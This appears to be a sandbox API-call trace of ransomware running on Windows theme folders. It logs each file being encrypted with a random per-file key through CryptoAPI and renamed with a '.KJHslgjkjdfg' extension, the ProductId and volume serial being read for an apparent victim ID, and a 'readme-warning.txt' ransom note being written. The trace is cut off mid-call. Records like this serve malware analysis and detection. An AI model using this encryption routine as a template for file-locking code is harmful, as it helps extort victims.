[0177.985] GetProcessHeap () returned 0x990000 [0177.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.kjhslgjkjdfg")) returned 1 [0177.989] CloseHandle (hObject=0x12c) returned 1 [0177.990] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x265, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RMNSQUE.INF", cAlternateFileName="")) returned 1 [0177.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.991] GetProcessHeap () returned 0x990000 [0177.991] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.991] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.991] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.991] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0177.993] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.993] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.993] GetProcessHeap () returned 0x990000 [0177.993] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.993] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.993] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.993] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.993] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0177.994] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0177.994] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.994] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.994] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.994] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x265, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x265, lpOverlapped=0x0) returned 1 [0177.994] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x270, dwBufLen=0x270 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x270) returned 1 [0177.994] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.994] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x270, lpOverlapped=0x0) returned 1 [0177.995] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.995] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.995] SetEndOfFile (hFile=0x12c) returned 1 [0177.997] GetProcessHeap () returned 0x990000 [0177.997] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0177.997] GetProcessHeap () returned 0x990000 [0177.997] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0177.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.kjhslgjkjdfg")) returned 1 [0178.000] CloseHandle (hObject=0x12c) returned 1 [0178.000] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.001] GetProcessHeap () returned 0x990000 [0178.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.001] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.001] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.001] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0178.003] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.003] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.004] GetProcessHeap () returned 0x990000 [0178.004] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.004] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.004] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.004] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.004] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.004] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.004] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0178.004] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0178.004] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0178.004] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.004] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.004] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.004] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbb5a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xbb5a, lpOverlapped=0x0) returned 1 [0178.006] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbb60, dwBufLen=0xbb60 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xbb60) returned 1 [0178.007] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.007] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbb60, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xbb60, lpOverlapped=0x0) returned 1 [0178.007] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.007] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xbc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.007] SetEndOfFile (hFile=0x12c) returned 1 [0178.010] GetProcessHeap () returned 0x990000 [0178.010] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.010] GetProcessHeap () returned 0x990000 [0178.010] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0178.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.015] CloseHandle (hObject=0x12c) returned 1 [0178.015] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xbb5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.015] GetProcessHeap () returned 0x990000 [0178.015] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.015] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.015] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0178.015] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.015] GetProcessHeap () returned 0x990000 [0178.015] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0178.015] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.015] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0178.015] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.016] GetProcessHeap () returned 0x990000 [0178.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0178.016] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.016] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0178.016] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.016] GetProcessHeap () returned 0x990000 [0178.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0178.016] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.016] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0178.016] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.016] GetProcessHeap () returned 0x990000 [0178.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.016] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.016] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0178.016] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.016] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0178.016] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0178.017] RegCloseKey (hKey=0x12c) returned 0x0 [0178.017] GetProcessHeap () returned 0x990000 [0178.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0178.017] GetProcessHeap () returned 0x990000 [0178.017] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.017] GetProcessHeap () returned 0x990000 [0178.017] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0178.017] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0178.017] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0178.017] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.017] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0178.017] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0178.017] GetProcessHeap () returned 0x990000 [0178.018] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0178.018] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0178.018] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0178.018] GetProcessHeap () returned 0x990000 [0178.018] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0178.018] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt") returned 82 [0178.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.019] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0178.020] CloseHandle (hObject=0x12c) returned 1 [0178.020] GetProcessHeap () returned 0x990000 [0178.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0178.020] GetProcessHeap () returned 0x990000 [0178.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0178.020] GetProcessHeap () returned 0x990000 [0178.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0178.020] GetProcessHeap () returned 0x990000 [0178.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0178.020] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0178.021] GetProcessHeap () returned 0x990000 [0178.021] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0178.021] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SATIN", cAlternateFileName="")) returned 1 [0178.021] GetProcessHeap () returned 0x990000 [0178.021] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8c) returned 0x9b0940 [0178.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0178.021] GetProcessHeap () returned 0x990000 [0178.021] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0178.021] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0178.021] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0178.021] GetProcessHeap () returned 0x990000 [0178.021] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28e) returned 0x9b1eb0 [0178.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.024] GetProcessHeap () returned 0x990000 [0178.024] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0178.024] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0178.024] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0178.024] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0178.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0178.027] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0178.027] GetProcessHeap () returned 0x990000 [0178.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0178.027] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0178.027] CryptDestroyKey (hKey=0x9b6668) returned 1 [0178.027] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0178.027] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0178.027] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0178.027] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, 